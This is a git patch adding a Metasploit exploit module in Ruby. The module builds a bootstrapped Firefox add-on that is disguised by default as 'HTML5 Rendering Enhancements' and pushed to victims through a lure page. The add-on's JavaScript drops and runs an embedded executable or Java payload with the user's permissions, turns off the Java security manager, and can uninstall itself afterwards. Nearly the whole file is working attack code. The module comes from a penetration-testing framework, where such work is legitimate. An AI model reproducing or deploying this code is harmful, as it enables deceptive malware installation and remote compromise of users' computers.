From 705cf4185899e7cab193b9d933831268a9b1132f Mon Sep 17 00:00:00 2001 From: Michael Schierl Date: Tue, 10 Apr 2012 13:33:04 +0200 Subject: [PATCH] Add firefox_xpi_bootstrapped_addon exploit This is similar to java_signed_applet as it does not exploit a vulnerability, but hope that the user will trust the addon. --- .../browser/firefox_xpi_bootstrapped_addon.rb | 229 ++++++++++++++++++ 1 file changed, 229 insertions(+) create mode 100644 modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb new file mode 100644 index 0000000000..f3c4a095a8 --- /dev/null +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -0,0 +1,229 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'rex/zip' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + def initialize( info = {} ) + super( update_info( info, + 'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution', + 'Description' => %q{ + This exploit dynamically creates a .xpi addon file. + The resulting bootstrapped Firefox addon is presented to + the victim via a web page with. The victim's Firefox browser + will pop a dialog asking if they trust the addon. + + Once the user clicks "install", the addon is installed and + executes the payload with full user permissions. As of Firefox + 4, this will work without a restart as the addon is marked to + be "bootstrapped". As the addon will execute the payload after + each Firefox restart, an option can be given to automatically + uninstall the addon once the payload has been executed. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'mihi' ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ] + ], + 'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ], + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + [ 'Mac OS X PPC (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_PPC, + } + ], + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ] + ], + 'DefaultTarget' => 1 + )) + + register_options( [ + OptString.new('ADDONNAME', [ true, + "The addon name.", + "HTML5 Rendering Enhancements" + ]), + OptBool.new('AutoUninstall', [ true, + "Automatically uninstall the addon after payload execution", + true + ]) + ], self.class) + end + + def on_request_uri( cli, request ) + if not request.uri.match(/\.xpi$/i) + if not request.uri.match(/\/$/) + send_redirect( cli, get_resource() + '/', '') + return + end + + print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." ) + + send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) + return + end + + p = regenerate_payload(cli) + if not p + print_error("Failed to generate the payload.") + # Send them a 404 so the browser doesn't hang waiting for data + # that will never come. + send_not_found(cli) + return + end + + # If we haven't returned yet, then this is a request for our xpi, + # so build one + + if target.name == 'Generic (Java Payload)' + jar = p.encoded_jar + jar.build_manifest(:main_class => "metasploit.Payload") + payload_file = jar.pack + payload_name='payload.jar' + payload_script=%q| + var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java + java.lang.System.setSecurityManager(null); + var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]); + var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]); + m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]); + | + else + payload_file = generate_payload_exe + payload_name='payload.exe' + payload_script=%q| + var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); + process.init(tmp); + process.run(false,[],0); + | + end + + zip = Rex::Zip::Archive.new + xpi_guid = '{d0df471a-9896-4e6d-83e2-13a04ed6df33}' #TODO randomize! + + bootstrap_script = %q| +function startup(data, reason) { + var file = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("ProfD", Components.interfaces.nsIFile); + file.append("extensions"); + | + bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| + bootstrap_script << %Q|payload_name="#{payload_name}";| + bootstrap_script << %q| + file.append(xpi_guid); + file.append(payload_name); + var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("TmpD", Components.interfaces.nsIFile); + tmp.append(payload_name); + tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); + file.copyTo(tmp.parent, tmp.leafName); + | + bootstrap_script << payload_script + + if (datastore['AutoUninstall']) + bootstrap_script << %q| + try { // Fx < 4.0 + Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); + } catch (e) {} + try { // Fx 4.0 and later + Components.utils.import("resource://gre/modules/AddonManager.jsm"); + AddonManager.getAddonByID(xpi_guid, function(addon) { + addon.uninstall(); + }); + } catch (e) {} + | + end + + bootstrap_script << "}" + + zip.add_file('bootstrap.js', bootstrap_script) + zip.add_file(payload_name, payload_file) + zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n") + zip.add_file('install.rdf', %Q| + + + #{xpi_guid} + #{datastore['ADDONNAME']} + 1.0 + true + true + + + toolkit@mozilla.org + 1.0 + * + + + + + {ec8030f7-c20a-464f-9b0e-13a3a9e97384} + 1.0 + * + + + +|) + zip.add_file('overlay.xul', %q| + + +|) + + print_status( + "Sending xpi to #{cli.peerhost}. "+ + "Waiting for user to click 'accept'...") + send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } ) + handler( cli ) + end + + def generate_html + html = %Q|Loading, Please Wait...\n| + html << %Q|

Addon required to view this page. [Install]

\n| + html << %Q|\n| + html << %Q|| + return html + end +end